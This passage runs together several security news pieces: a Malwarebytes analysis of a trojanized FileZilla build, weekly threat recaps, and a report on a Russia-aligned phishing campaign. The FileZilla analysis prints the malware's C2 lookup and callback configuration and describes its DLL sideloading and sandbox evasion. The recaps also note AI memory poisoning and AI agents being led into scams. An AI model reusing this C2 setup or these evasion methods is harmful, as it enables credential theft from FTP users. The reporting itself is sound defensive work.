deployment of existing tooling or a freshly updated campaign targeting server backup artifacts. Early detection and reporting of such patterns contribute directly to the global threat intelligence ecosystem and allows defenders worldwide to strengthen their posture before campaigns mature. Understanding what opportunistic attackers look for is critical for defenders. The presence of backup files, data exports, or deployment artifacts on production web servers can lead to immediate compromise without the need for sophisticated exploits. Even short exposure windows as little as the 10 second captured here are sufficient for automated scanners to identify and attempt to retrieve sensitive data. [1] https://isc.sans.edu/weblogs/urlhistory.html?url=LzIwMTAuZ3oK [2] https://isc.sans.edu/weblogs/urlhistory.html?url=LzIwMTIudGFyLnRnego= [3] A. I. Mohaidat and A. Al-Helali, “Web vulnerability scanning tools: A comprehensive overview, selection guidance, and cybersecurity recommendations,” International Journal of Research Studies in Computer Science and Engineering (IJRSCSE), vol. 10, no. 1, pp. 8–15, 2024, doi: 10.20431/2349-4859.1001002. [4] J. Mayer, M. Schramm, L. Bechtel, N. Lohmiller, S. Kaniewski, M. Menth, and T. Heer, “I Know Who You Scanned Last Summer: Mapping the Landscape of Internet-Wide Scanners,” in Proc. IFIP Networking 2024, Thessaloniki, Jun. 2024, pp. 222–230, doi: 10.23919/IFIPNetworking62109.2024.10619808. [5] https://www.sans.edu/cyber-security-programs/bachelors-degree/ ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu

A trojanized copy of the open-source FTP client FileZilla 3.69.5 is circulating online. The archive contains the legitimate FileZilla application, but with a single malicious DLL added to the folder. When someone downloads this tampered version, extracts it, and launches FileZilla, Windows loads the malicious library first. From that moment on, the malware runs inside what appears to be a normal FileZilla session. Because the infected copy looks and behaves like the real software, victims may not realize anything is wrong. Meanwhile, the malware can access saved FTP credentials, contact its command-and-control server, and potentially remain active on the system. The risk does not stop with the local computer. Stolen credentials could expose the web servers or hosting accounts the user connects to. This attack does not exploit a vulnerability in FileZilla itself. It depends on someone downloading the modified copy from an unofficial website and running it. The spread mechanism is simple deception, such as lookalike domains or search poisoning, rather than automatic self-propagation. A growing trend of trusted software, poisoned packages The abuse of trusted open-source utilities appears to be growing. Last month, we reported on fake 7-Zip downloads turning home PCs into proxy nodes. Security researchers have also reported that a compromised Notepad++ update infrastructure delivered a custom backdoor through DLL sideloading for several months. Now, FileZilla has been added to the list of software impersonated in this way. A lookalike domain, filezilla-project[.]live, hosts the malicious archive. The method is straightforward: take a legitimate portable copy of FileZilla 3.69.5, place a single malicious DLL into the folder, re-zip it, and distribute the archive. The infection relies on a well-understood Windows behaviour called DLL search order hijacking, where an application loads a library from its own directory before checking the Windows system folder. One file, one timestamp, one giveaway The archive contains 918 entries. Of those, 917 carry a last-modified date of 2025-11-12, consistent with an official FileZilla 3.69.5 portable release. One entry stands out: version.dll, dated 2026-02-03, nearly three months newer than everything else in the archive. A clean FileZilla portable distribution does not include a version.dll. The legitimate DLLs in the package are all FileZilla-specific libraries such as libfilezilla-50.dll and libfzclient-private-3-69-5.dll. The Windows Version API library—version.dll—is a system DLL that lives in C:\Windows\System32 and has no reason to be inside a FileZilla folder. Its presence is the entire attack. Caught in the act: what Process Monitor showed us We confirmed the sideloading on a live system using Process Monitor. When filezilla.exe starts, it needs to load a series of DLLs. For each one, Windows checks the application’s own directory first, then falls back to the system folder. For system libraries like IPHLPAPI.DLL and POWRPROF.dll, the application directory returns NAME NOT FOUND, so Windows loads the legitimate copies from C:\Windows\System32. This is normal behaviour. But for version.dll, the trojanized copy is sitting in the FileZilla folder. Windows finds it there, maps it into memory, and never reaches System32. The malicious code now runs inside filezilla.exe‘s own process. Seventeen milliseconds after loading, the malicious DLL searches for version_original.dll in the same directory and gets NAME NOT FOUND. This is a telltale sign of DLL proxying, a technique where the malicious DLL is designed to forward legitimate function calls to a renamed copy of the original library so the host application keeps working normally. In this case, the renamed original was not included in the archive, which may contribute to application instability. FileZilla calls LoadLibrary with just the DLL filename rather than the full path, so Windows searches the application’s own directory first — exactly the behaviour attackers need to plant a malicious DLL. This is a common design behavior. Built to detect analysis environments The DLL includes multiple checks designed to detect virtual machines and sandboxes before executing its payload. Behavioural analysis reveals BIOS version checks, system manufacturer queries, VirtualBox registry key probing, disk drive enumeration, and memory allocation using write-watch, which is a technique that can detect memory scanning by analysis tools. Evasive sleep loops round out the anti-analysis toolkit. These checks are selective rather than absolute. In sandboxed environments that closely resembled real user systems, the loader successfully resolved its C2 domain and attempted callbacks. In more obviously virtualised setups, it went dormant, producing no network activity beyond routine Windows DNS queries. On our own test system, FileZilla terminated almost immediately after launch, consistent with the DLL detecting the environment and killing the host process before reaching its network stage. DNS-over-HTTPS: phoning home where nobody is listening When the loader determines the environment is safe, it does not use traditional DNS to resolve its command-and-control domain. Instead, it sends an HTTPS request to Cloudflare’s public resolver: https://1.1.1.1/dns-query?name=welcome.supp0v3[.]com&type=A This technique, DNS-over-HTTPS, or DoH, bypasses corporate DNS monitoring, DNS-based blocklists, and security appliances that inspect traffic on port 53. It is the same evasion approach used in last month’s fake 7-Zip proxyware campaign. Once the domain resolves, the loader calls back to its staging server. Memory analysis of the loader process uncovered the full configuration embedded at runtime: { "tag":"tbs", "referrer":"dll", "callback":"https://welcome.supp0v3.com/d/callback?utm_tag=tbs2&utm_source=dll" } The UTM-style campaign tracking suggests a structured operation with multiple distribution vectors. The tbs2 tag and dll source identifier likely differentiate this DLL sideloading distribution from other delivery methods within the same operation. A second C2 channel on a non-standard port Beyond the DoH callback, the malware also reaches out to 95.216.51.236 on TCP port 31415—a non-standard port on Hetzner-hosted infrastructure. Network capture shows ten connection attempts across two sessions, suggesting a persistent retry mechanism designed to maintain contact with its operator. The use of a high, non-standard port is a common technique for blending C2 traffic past firewalls that only inspect well-known service ports. What the behavioural analysis flagged Automated behavioural analysis of the archive flagged several additional capabilities beyond what we observed directly. Behavioural rules flagged credential harvesting from local FTP client software. Given that the malware is sideloaded by FileZilla, some of these detections may reflect FileZilla’s own legitimate access to its credential store, though the combination with the C2 callback infrastructure makes a benign explanation unlikely. Additional behavioral indicators included: • Creating suspended processes and writing to other processes’ memory • Runtime .NET compilation via csc.exe • Registry modifications consistent with autorun persistence • Multiple file encryption API calls Taken together, these behaviors suggest a multifunctional implant capable of credential theft, process injection, persistence, and potentially data encryption. What to do if you may have been affected Be cautious about where you download software. DLL sideloading is not new, and this campaign shows how adding a single malicious file to an otherwise legitimate archive can compromise a system. We have recently seen similar tactics involving fake 7-Zip downloads and other compromised distribution channels. Treat software downloaded outside official project domains with the same caution as unexpected email attachments. Check for version.dll inside any FileZilla portable directory on your system. A legitimate FileZilla distribution does not ship this file. If present, treat the system as compromised. Download FileZilla only from the official project domain at filezilla-project.org and verify the download hash against the value published on the site. Monitor for DNS-over-HTTPS traffic from non-browser processes. Outbound HTTPS connections to known DoH resolvers such as 1.1.1.1 or8.8.8.8 from applications that have no business making web requests should be investigated. Block the domains and IP addresses listed in the IOC section below at your network perimeter. Inspect zip archives for timestamp anomalies before extracting and running applications. A single file with a different modification date from the rest of the archive is a simple but effective red flag. Malwarebytes detects and blocks known variants of this threat. Indicators of Compromise (IOCs) File hashes (SHA-256) 665cca285680df321b63ad5106b167db9169afe30c17d349d80682837edcc755 — trojanized FileZilla archive (FileZilla_3.69.5_win64.zip ) e4c6f8ee8c946c6bd7873274e6ed9e41dec97e05890fa99c73f4309b60fd3da4 — trojanizedversion.dll contained in the archive Domains filezilla-project[.]live welcome.supp0v3[.]com — C2 callback and staging Network indicators 95.216.51[.]236:31415 — C2 server From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Nothing here looks dramatic at first glance. That’s the point. Many of this week’s threats begin with something ordinary, like an ad, a meeting invite, or a software update. Behind the scenes, the tactics are sharper. Access happens faster. Control is established sooner. Cleanup becomes harder. Here is a quick look at the signals worth paying attention to. AI-powered command executionKali Linux, an advanced penetration testing Linux distribution used for ethical hacking and network security assessments, has added an integration with Anthropic's Claude large language model through the Model Context Protocol (MCP) to issue commands in natural language and translate them into technical commands. Belarus-linked Android spywareResidentBat is an Android spyware implant used by Belarusian authorities for surveillance operations against journalists and civil society. Once installed, it provides operators with access to call logs, microphone recordings, SMS, encrypted messenger traffic, screen captures, and locally stored files. The malware, although first documented in December 2025, is assessed to date back to 2021. According to Censys, ResidentBat-associated infrastructure is concentrated in Europe and Russia: the Netherlands (5 hosts), Germany (2 hosts), Switzerland (2 hosts), and Russia (1 host) in a recent Platform view, using a narrow port range (7000-7257) for control traffic. Crypto phishing wavePhishing campaigns are impersonating cryptocurrency brokerage services like Bitpanda to harvest sensitive data under the pretext of reconfirming their information or risk having their accounts blocked. "Attempting to get multiple forms of information and identification, the attackers used tactics that would seem legitimate to the everyday user," Cofense said. "User information such as name verification, email, and password credentials, and location were all used in this attempt to harvest information under the guise of a multi-factor authentication process." Breakout times shrinkIn its 2026 Global Threat Report, CrowdStrike said adversaries became faster than ever before in 2025. "The average e-crime breakout time — the period between initial access and lateral movement onto another system — dropped to 29 minutes, a 65% increase in speed from 2024," the company said. One such intrusion undertaken by Luna Moth (aka Chatty Spider) targeting a law firm moved from initial access to data exfiltration in four minutes. Chief among the factors fueling this dramatic acceleration was the widespread abuse of legitimate credentials, which allowed attackers to blend into normal network traffic and bypass many traditional security controls. This was coupled with threat actors of varied motivations utilizing AI technology to accelerate and optimize their existing techniques. Some of the threat actors that have leveraged AI in their operations include Fancy Bear, Punk Spider (aka Akira), Blind Spider (aka Blind Eagle), Odyssey Spider (aka TA558), and an India-nexus hacking group called Frantic Tiger that has used Netlify and Cloudflare pages for credential-harvesting operations. The cybersecurity company said it observed an 89% increase in the number of attacks by AI-enabled adversaries compared to 2024 and a 42% year-over-year increase in zero-days exploited prior to public disclosure. In tandem, 67% of vulnerabilities exploited by China-nexus adversaries provided immediate system access, and 40% targeted edge devices that typically lack comprehensive monitoring. The vast majority of attacks, 82%, were free of malware — highlighting attackers' enduring shift toward hands-on-keyboard operations and the abuse of legitimate tools and credentials. 4-minute lateral movementIn a similar report, ReliaQuest said the fastest intrusions reached lateral movement in just 4 minutes, an 85% acceleration from last year, with data exfiltration taking place in 6 minutes. The statistic is fueled by attackers increasingly weaving AI and automation into their tradecraft. "As attackers increasingly secure valid credentials with elevated privileges, the time to react has drastically dropped," ReliaQuest said. "In 2025, the average breakout time (initial access to lateral movement) dropped to 34 minutes. In 47% of incidents, they secured high privileges before ever touching the network. This allows them to skip escalation, blend into traffic, and repurpose legitimate tools." ClickFix fuels Mac stealersMac users searching for popular software like Homebrew, 7-Zip, Notepad++, LibreOffice, and Final Cut Pro are the target of an active malvertising campaign powered by at least 35 hijacked Google advertiser accounts originating from countries including the U.S., Canada, Italy, Poland, Brazil, India, Saudi Arabia, Japan, China, Romania, Malta, Slovenia, Germany, the U.K., and the U.A.E. More than 200 malicious advertisements impersonating legitimate macOS software have been found. The end goal of these efforts is to direct users to fake pages that contain ClickFix-like instructions to deliver MacSync stealer. Another ClickFix campaign has been observed using fake CAPTCHA verification lures on bogus phishing pages to distribute stealer malware that can harvest data from web browsers, gaming apps like Steam, cryptocurrency wallets, and VPN apps. According to ReliaQuest data, a quarter of attacks used social engineering for initial access last year, with ClickFix responsible for delivering 59% of the top malware families. Encryption debate resurfacesMeta went ahead with a plan to encrypt the messaging services connected to its Facebook and Instagram apps despite internal warnings that it would hinder the social media giant's ability to flag child-exploitation cases to law enforcement, Reuters reported. The internal chat exchange dated March 2019 was filed in connection with a lawsuit brought by the U.S. state of New Mexico, accusing it of exposing children and teens to sexual exploitation on its platforms and profiting from it. In response to the concerns raised, Meta said it worked on additional safety features before it launched encrypted messaging on Facebook and Instagram in 2023. ActiveMQ flaw aids LockBitThreat actors are exploiting a now-patched security flaw in internet-facing Apache ActiveMQ servers (CVE-2023-46604) to deploy LockBit ransomware. "Despite being evicted after the initial intrusion, they successfully breached the same server on a second occasion 18 days later," The DFIR Report said. "After compromising the server, the threat actor used Metasploit, possibly along with Meterpreter, to perform post-exploitation activities. These activities included escalating privileges, accessing LSASS process memory, and moving laterally across the network. After regaining access following their eviction, the threat actor swiftly transitioned to deploying ransomware. They leveraged credentials extracted during their previous breach to deploy LockBit ransomware via RDP." The ransomware is suspected to be crafted using the leaked LockBit builder. Chrome crash-to-command trickTwo newly flagged Google Chrome extensions, Pixel Shield - Block Ads (ID: nlogodaofdghipmbdclajkkpheneldjd) and PageGuard - Phishing Protection (ID: mlaonedihngoginmmlaacpihnojcoocl), have been found to adopt the same playbook as CrashFix, where the browser is deliberately crashed, and the user is tricked into running a malicious command à la ClickFix. The most concerning aspect of this campaign is that the extensions actually work and offer the advertised functionality. "The original NexShield DoS created a billion chrome.runtime.connect() calls," Annex Security's John Tuckner said. "These variants use a different technique I'm calling the Promise Bomb because it crashes the browser by flooding Chrome's message passing system with millions of unresolvable promises." While the original NexShield used timer-based activation, the new variants have evolved to push notification-based command-and-control (C2), causing the denial-of-service to be triggered only when the C2 server sends a push notification containing a "newVersion" value ending in "2." This, in turn, gives the attacker selective remote control over when the crashes happen. WinRAR patch lag persistsCybersecurity firm Stairwell said more than 80% of the IT networks it monitors run versions of WinRAR vulnerable to CVE-2025-8088, a vulnerability that has been widely exploited by cybercrime and cyber espionage groups. "This finding underscores a persistent challenge in enterprise security when widely deployed, trusted software that quietly falls out of date and becomes a high-value target for attackers," Alex Hegyi said. Crypto IV reuse riskA new analysis from Trail of Bits has revealed that more than 723,000 open-source projects use cryptographic libraries with insecure defaults. The aes-js and pyaes libraries have been found to provide a default initialization vector (IV) in their AES-CTR API, leading to a large number of key/IV reuse bugs. "Reusing a key/IV pair leads to serious security issues: if you encrypt two messages in CTR mode or GCM with the same key and IV, then anybody with access to the ciphertexts can recover the XOR of the plaintexts, and that’s a very bad thing," Trail of Bits said. While neither library has been updated in years, strongSwan has released an update to address the problem in strongMan (CVE-2026-25998). AI audits smart contractsOpenAI and Paradigm have jointly announced EVMbench, a benchmark that measures how well AI agents can detect, exploit, and patch high-severity smart contract vulnerabilities. "EVMbench draws on 120 curated vulnerabilities from 40 audits, with most sourced from open code audit competitions," OpenAI said. "EVMbench is intended both as a measurement tool and as a call to action. As agents improve, it becomes increasingly important for developers and security researchers to incorporate AI-assisted auditing into their workflows." Fake FSB extortion plotA Russian national has been accused of trying to extort money from the notorious Conti ransomware group by posing as an officer of Russia’s Federal Security Service (FSB), according to local media reports. RBC reported that the suspect, Ruslan Satuchin, posed as an FSB officer and demanded a large payment from Conti. Although an investigation was formally launched in September 2025, the incident allegedly began in September 2022 when Satuchin contacted one of the members of the hacker group and extorted them to avoid criminal liability. Once a prolific ransomware gang, Conti shut down its operations in mid-2022 after splintering into small groups. Ad cloaking service exposedVaronis has disclosed details of a newly identified cybercrime service known as 1Campaign that enables threat actors to run malicious Google Ads for extended periods of time while evading scrutiny. The cloaking platform "passes Google's screening, filters out security researchers, and keeps phishing and crypto drainer pages online for as long as possible, funneling real users to attacker-controlled sites," Varonis security researcher Daniel Kelley said. "It combines real-time visitor filtering, fraud scoring, geographic targeting, and a bot guard script generator into a single dashboard." It's developed and maintained by a threat actor named DuppyMeister for over three years, along with offering Telegram channels for support. Traffic linked to 1Campaign has been distributed across the U.S., Canada, the Netherlands, China, Germany, France, Japan, Hungary, and Albania. Teams call drops macOS malwareA social engineering campaign has been observed using Microsoft Teams meetings to trick attendants into installing macOS malware. Daylight Security has assessed that the activity is consistent with an ongoing attack campaign orchestrated by North Korean threat actors under the name GhostCall. "During the call, the attacker claimed audio issues and coached the victim into running terminal commands that downloaded and executed malicious binaries," Daylight researchers Kyle Henson and Oren Biderman said. "Analysts observed staged downloads and execution from macOS cache and temporary paths, Keychain credential access, and outbound connections to newly created attacker-controlled domains." RAMP fallout reshapes undergroundLast month, law enforcement authorities from the U.S. seized the notorious RAMP cybercrime forum. The event has had a cascading impact, destabilising trust and accelerating fragmentation across the underground cybercrime ecosystem. There are also speculations that RAMP may have functioned as a honeypot or had been compromised long before its seizure. "Rather than consolidating around a single successor, ransomware actors are redistributing across both gated platforms like T1erOne and accessible forums such as Rehub," Rapid7 said. "This shift reflects adaptation, not decline. Disruption fractures trust and redistributes coordination across multiple platforms." Anonymous Fénix members detainedSpanish authorities have announced the arrest of four members of the Anonymous Fénix group for their involvement in distributed denial-of-service (DDoS) attacks. The suspects, whose names were not disclosed, targeted the websites of government ministries, political parties, and public institutions. Two of the group leaders were arrested in May 2025. The first attacks occurred in April 2023. The group is said to have intensified its activities beginning in September 2024, recruiting volunteers to mount DDoS attacks against targets of interest. Judicial spear-phish drops RATA spear-phishing campaign has been observed targeting Argentina's judicial sector that delivers a ZIP archive containing a Windows shortcut that, when launched, displays a decoy PDF to the victims, while stealthily dropping a Rust-based remote access trojan (RAT). "The campaign leverages highly authentic judicial decoy documents to exploit trust in court communications, enabling successful delivery of a covert remote access trojan and facilitating long-term access to sensitive legal and institutional data," Seqrite Labs said. Typosquat spreads ValleyRATA persuasive lookalike website of Huorong Security antivirus ("huoronga[.]com") has been used to deliver a RAT malware known as ValleyRAT. The campaign is the work of a Chinese cybercrime group called Silver Fox, which has a history of distributing trojanized versions of popular Chinese software and other popular programs through typosquatted domains to distribute trojanized installers responsible for deploying ValleyRAT. "Once it's installed, attackers can monitor the victim, steal sensitive information, and remotely control the system," Malwarebytes said. Repo-squatting via Google AdsUsers searching for developer tools have become the target of an ongoing campaign dubbed GPUGate that uses a malicious installer to deliver Hijack Loader and Atomic Stealer. "The attacker creates a throwaway GitHub account and forks the official GitHub Desktop repository," GMO Cybersecurity by Ierae said. "The attacker edits the download link in the README to point to their malicious installer and commits the change. Lastly, the attacker used sponsored ads for 'GitHub Desktop' to promote their commit, using an anchor in README.md to skip past GitHub's cautions." Victims who downloaded the malicious Windows installer would execute a multi-stage loader, while Mac victims received Atomic Stealer. These stories may seem separate, but they point in the same direction. Speed is increasing. Deception is improving. And attackers are finding new ways to blend into everyday activity. The warning signs are there for those who look closely. Small gaps, delayed patches, misplaced trust, and rushed clicks still make the biggest difference. Staying aware of these shifts is no longer optional. The details change each week. The pressure does not.

A Russia-aligned threat actor has been observed targeting a European financial institution as part of a social engineering attack to likely facilitate intelligence gathering or financial theft, signaling a possible expansion of the threat actor's targeting beyond Ukraine and into entities supporting the war-torn nation. The activity, which targeted an unnamed entity involved in regional development and reconstruction initiatives, has been attributed to a cybercrime group tracked as UAC-0050 (aka DaVinci Group). BlueVoyant has designated the name Mercenary Akula to the threat cluster. The attack was observed earlier this month. "The attack spoofed a Ukrainian judicial domain to deliver an email containing a link to a remote access payload," researchers Patrick McHale and Joshua Green said in a report shared with The Hacker News. "The target was a senior legal and policy advisor involved in procurement, a role with privileged insight into institutional operations and financial mechanisms." The starting point is a spear-phishing email that uses legal themes to direct recipients to download an archive file hosted on PixelDrain, a file-sharing service used by the threat actor to bypass reputation-based security controls. The ZIP is responsible for initiating a multi-layered infection chain. Present within the ZIP file is a RAR archive that contains a password-protected 7-Zip file, which includes an executable that masquerades as a PDF document by using the widely abused double extension trick (*.pdf.exe). The execution results in the deployment of an MSI installer for Remote Manipulator System (RMS), a Russian remote desktop software that allows remote control, desktop sharing, and file transfers. "The use of such 'living-off-the-land' tools provides attackers with persistent, stealthy access while often evading traditional antivirus detection," the researchers noted. The use of RMS aligns with prior UAC-0050 modus operandi, with the threat actor known to drop legitimate remote access software like LiteManager and remote access trojans such as RemcosRAT in attacks targeting Ukraine. The Computer Emergency Response Team of Ukraine (CERT-UA) has characterized UAC-0050 as a mercenary group associated with Russian law enforcement agencies that conducts data gathering, financial theft, and information and psychological operations under the Fire Cells branding. "This attack reflects Mercenary Akula's well-established and repetitive attack profile, while also offering a notable development," BlueVoyant said. "First, their targeting has been primarily focused on Ukraine-based entities, especially accountants and financial officers. However, this incident suggests potential probing of Ukraine-supporting institutions in Western Europe." The disclosure comes as Ukraine revealed that Russian cyber attacks aimed at the country's energy infrastructure are increasingly focused on collecting intelligence to guide missile strikes rather than immediately disrupting operations, The Record reported. Cybersecurity company CrowdStrike, in its annual Global Threat Report, said it expects Russia-nexus adversaries to continue conducting aggressive operations with the goal of intelligence gathering from Ukrainian targets and NATO member states. This includes efforts undertaken by APT29 (aka Cozy Bear and Midnight Blizzard) to "systematically" exploit trust, organizational credibility, and platform legitimacy as part of spear-phishing campaigns targeting U.S.-based non-governmental organizations (NGOs) and a U.S.-based legal entity to gain unauthorized access to the victims' Microsoft accounts. "Cozy Bear successfully compromised or impersonated individuals with whom targeted users maintained trusting professional relationships," CrowdStrike said. "Impersonated individuals included employees from international NGO branches and pro-Ukraine organizations." "The adversary heavily invested in substantiating these impersonations, using compromised individuals' legitimate email accounts alongside burner communication channels to reinforce authenticity."

Week in review: Exploited newly patched BeyondTrust RCE, United Airlines CISO on building resilience Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: United Airlines CISO on building resilience when disruption is inevitable In this Help Net Security interview, Deneen DeFiore, VP and CISO at United Airlines, explains how the company approaches modernization without compromising safety-critical environments, why resilience and continuity matter as much as prevention, and how the airline manages risk across an interconnected ecosystem of vendors, partners, and infrastructure providers. What happens when cybersecurity knowledge walks out the door In this Help Net Security interview, Andrew Northern, Principal Security Researcher at Censys, explains why mentorship matters and what organizations risk losing when senior staff disengage. He argues that institutional memory and judgment under pressure are difficult to rebuild once they disappear. Groupe Rocher CISO on strengthening a modern retail cybersecurity strategy In this Help Net Security interview, Jérôme Etienne, Group CISO, Groupe Rocher shares practical insights on closing strategy gaps, managing third-party risk, and securing online and in-store environments. In the conversation, he also discusses why point-of-sale and in-store systems can no longer be treated as secondary security concerns, especially as attackers increasingly target overlooked technologies. OpenClaw Scanner: Open-source tool detects autonomous AI agents A new free, open source tool is available to help organizations detect where autonomous AI agents are operating across corporate environments. The OpenClaw Scanner identifies instances of OpenClaw, an autonomous AI assistant also known as MoltBot, that can execute tasks, access local files, and authenticate to internal systems without centralized oversight. When security decisions come too late, and attackers know it In this Help Net Security, Chris O’Ferrell, CEO at CodeHunter, talks about why malware keeps succeeding, where attackers insert malicious code in the SDLC, and how CI/CD pipelines can become a quiet entry point. He also breaks down the difference between behavioral detection and behavioral intent analysis, and why explainable results matter for security teams. Edge computing’s biggest lie: “We’ll patch it later” In this Help Net Security interview, Piotr Buliński, CTO of Qbee, digs into the edge equivalent of “snowflake servers,” why cloud habits break in the field, and what it takes to monitor and update fleets safely. BeyondTrust fixes easy-to-exploit pre-auth RCE vulnerability in remote access tools (CVE-2026-1731) BeyondTrust fixed a critical remote code execution vulnerability (CVE-2026-1731) in its Remote Support (RS) and Privileged Remote Access (PRA) solutions and is urging self-hosted customers to apply the patch as soon a possible. Unlike the Remote Support zero-day (CVE-2024-12356) that was flagged after having been exploited by China-nexus threat actors to breach the US Treasury Department in late 2024, this newest vulnerability was discovered and privately disclosed by a security researcher. European Commission hit by cyberattackers targeting mobile management platform The European Commission’s mobile device management platform was hacked but the incident was swiftly contained and no compromise of mobile devices was detected, EU’s executive branch announced on Friday. The intrusion was detected on January 30, 2026, by CERT-EU, the cybersecurity team protecting all European Union institutions, bodies, and agencies. Ransomware group breached SmarterTools via flaw in its SmarterMail deployment SmarterTools, the company behind the popular Microsoft Exchange alternative SmarterMail, has been breached by a ransomware-wielding group that leveraged a recently fixed vulnerability in that solution. Unpatched SolarWinds WHD instances under active attack Internet‑exposed and vulnerable SolarWinds Web Help Desk (WHD) instances are under attack by threat actors looking to gain an initial foothold into target organizations’ networks, Microsoft and Huntress researchers have warned. Singapore telcos breached in China-linked cyber espionage campaign Singapore’s four major telecommunications companies were hit by a coordinated cyber espionage campaign last year, the country’s Cyber Security Agency (CSA) has revealed. An advanced persistent threat group known as UNC3886 has probed deep into the networks of M1, SIMBA Telecom, Singtel, and StarHub, spurring Singapore’s security agencies to mount a large cyber defence operation. Microsoft Patch Tuesday: 6 exploited zero-days fixed in February 2026 Microsoft has plugged 50+ security holes on February 2026 Patch Tuesday, including six zero-day vulnerabilities exploited by attackers in the wild. Among the zero-days fixed are three vulnerabilities that allow attackers to bypass a security feature. Ivanti EPMM exploitation: Researchers warn of “sleeper” webshells A massive wave of exploitation attempts has followed the disclosure of CVE-2026-1281, a critical pre-authentication Ivanti EPMM vulnerability, the Shadowserver Foundation has warned. Some of it is automated scanning for vulnerable systems, but according to Greynoise and Defused, a suspected initial access broker has been prepping unpatched instances with a “sleeper” webshell for follow-on exploitation by other threat actors. Apple fixes zero-day flaw exploited in targeted attacks (CVE-2026-20700) Apple has released fixes for a zero-day vulnerability (CVE-2026-20700) exploited in targeted attacks last year. CVE-2026-20700 is a memory corruption issue in dyld, the Dynamic Link Editor component of Apple’s operating systems, and may allow attackers with memory write capability to execute arbitrary code. Windows Notepad Markdown feature opens door to RCE (CVE-2026-20841) Among the many security fixes released by Microsoft on February 2026 Patch Tuesday is one for CVE-2026-20841, a command injection vulnerability in Notepad that could be exploited by attackers to achieve remote code execution on targets’ Windows system. Hackers probe, exploit newly patched BeyondTrust RCE flaw (CVE-2026-1731) Attackers are exploiting a recently patched critical vulnerability (CVE-2026-1731) in internet-facing BeyondTrust Remote Support and Privileged Remote Access instances. How AI is reshaping attack path analysis Attackers increasingly leverage AI to rapidly identify weaknesses and chain exploits, forcing defenders to keep pace by using AI to identify and stop those same weaknesses. However, security teams often struggle to determine what matters most, how it could realistically be exploited, and what to fix first. Brutus: Open-source credential testing tool for offensive security Brutus is an open-source, multi-protocol credential testing tool written in pure Go. Designed to replace legacy tools that have long frustrated penetration testers with dependency headaches and integration gaps, Brutus ships as a single binary with zero external dependencies and native support for the JSON-based reconnaissance pipelines that define offensive security. AI-driven scams are eroding trust in calls, messages, and meetings In this Help Net Security video, Miguel Fornés, Governance and Compliance Manager at Surfshark, discusses how AI is changing social engineering attacks. He describes how tasks that once took weeks, such as research and targeting, are now automated and cheap. This shift has lowered the skills and cost needed to run scams and phishing campaigns. Attackers use AI agents to gather open source data and hold live conversations with victims without human help. Allama: Open-source AI security automation Allama is an open-source security automation platform that lets teams build visual workflows for threat detection and response. It includes integrations with 80+ types of tools and services typical in security operations, including SIEM systems, endpoint detection and response products, identity providers, and ticketing systems. TikTok under EU pressure to change its addictive algorithm The European Commission has issued preliminary findings that say TikTok breaches the Digital Services Act due to its addictive design. The Commission opened a formal investigation into TikTok in February 2024. The probe examined whether the platform meets its obligations as a very large online platform under the Digital Services Act. These obligations include identifying risks linked to the service and taking steps to reduce them. EU targets Meta over WhatsApp AI access restrictions The European Commission believes Meta breached EU competition rules by blocking other AI assistants from accessing and interacting with users on WhatsApp. Face scans and ID checks are coming to Discord Discord users will soon see a change to how their accounts work. From early March 2026, access to some features will require age verification using an ID or a face scan. The changes follow earlier deployments in a small number of countries and will apply to both new and existing accounts. DuckDuckGo enables AI voice chat without saving voice data DuckDuckGo has added voice chat to Duck.ai, allowing users to speak to an AI assistant while keeping audio private, unrecorded, and excluded from AI training. Voice chat is available in the DuckDuckGo browser and most third-party browsers, with support for Mozilla listed as coming soon. Trojanized 7-Zip downloads turn home computers into proxy nodes A trojanized version of the popular 7-Zip software is quietly turning home computers into residential proxy nodes, Malwarebytes warns. Spurred by a Reddit post in which a user complained about getting infected with malware after downloading 7-Zip from 7zip[.]com instead of the legitimate 7-zip.org, Malwarebytes researchers looked into the matter and found that the malicious installer functions as 7-zip, but also silently drops additional payloads onto the system. Microsoft tightens Windows security with app transparency and user consent Microsoft is strengthening default protections in Windows through two security initiatives, Windows Baseline Security Mode and User Transparency and Consent. User Transparency and Consent introduces a structured approach to how Windows presents security decisions to users. The operating system will prompt users when applications request access to sensitive resources such as files, cameras, or microphones, and when installers attempt to add additional software. That “summarize with AI” button might be manipulating you Microsoft security researchers discovered a growing trend of AI memory poisoning attacks used for promotional purposes, referred to as AI Recommendation Poisoning. Picking an AI red teaming vendor is getting harder Vendor noise is already a problem in traditional security testing. AI red teaming has added another layer of confusion, with providers offering everything from consulting engagements to automated testing platforms. Many buyers still struggle to tell whether a vendor can test real-world AI system behavior or only run a packaged set of jailbreak prompts. OpenVPN releases version 2.7.0 with expanded protocol and platform updates OpenVPN version 2.7.0 is now available. The update advances support for multi-address server configurations and updates client functionality across operating systems. The release includes enhancements in data channel handling and support for evolving kernel and cryptographic components. 1Password open sources a benchmark to stop AI agents from leaking credentials Research has shown that some AI models can identify phishing websites with near-perfect accuracy when asked. When those same models are used as autonomous agents with access to tools like email, web browsers, and password vaults, they can still carry out the scam. That gap is the focus of a new open source benchmark from 1Password called the Security Comprehension and Awareness Measure, or SCAM. Police arrests distributor of JokerOTP password-stealing bot The Dutch National Police arrested a 21-year-old man from Dordrecht as part of a cybercrime investigation by Team Cybercrime Oost-Brabant. The suspect is believed to have distributed a tool known as JokerOTP, a bot used to intercept one-time passwords (OTPs) used to secure online accounts and financial transactions. Bitcoin trading firm CEO gets 20 years for operating $200 million Ponzi scheme The U.S. Department of Justice sentenced the CEO of a multi level marketing and bitcoin trading firm to 20 years in prison after a conviction for wire fraud and money laundering tied to a large scale Ponzi scheme. AI agents behave like users, but don’t follow the same rules Security and governance approaches to autonomous AI agents rely on static credentials, inconsistent controls, and limited visibility. Securing these agents requires the same rigor and traceability applied to human users, according to Cloud Security Alliance’s Securing Autonomous AI Agents report. OpenAI updates Europe privacy policy, adding new data categories OpenAI has updated its Europe-facing privacy policy following the November 2024 EU revision, clarifying scope, expanding coverage, and detailing user controls. The updated document is longer, with dedicated sections for data controls and practical resources. It explains key controls and settings within the text, making available choices easier to understand without moving between documents. Linux kernel 6.19 reaches stable release, kernel 7.0 work is already underway Development activity on the Linux kernel continues into early 2026 with the stable release of version 6.19. Kernel maintainers have completed the pre-release cycle and merged the final set of changes into the mainline tree. The release follows the ongoing weekly rhythm of code submission and testing that supports Linux’s widespread use across servers, desktops, and embedded systems. Security teams are paying for sprawl 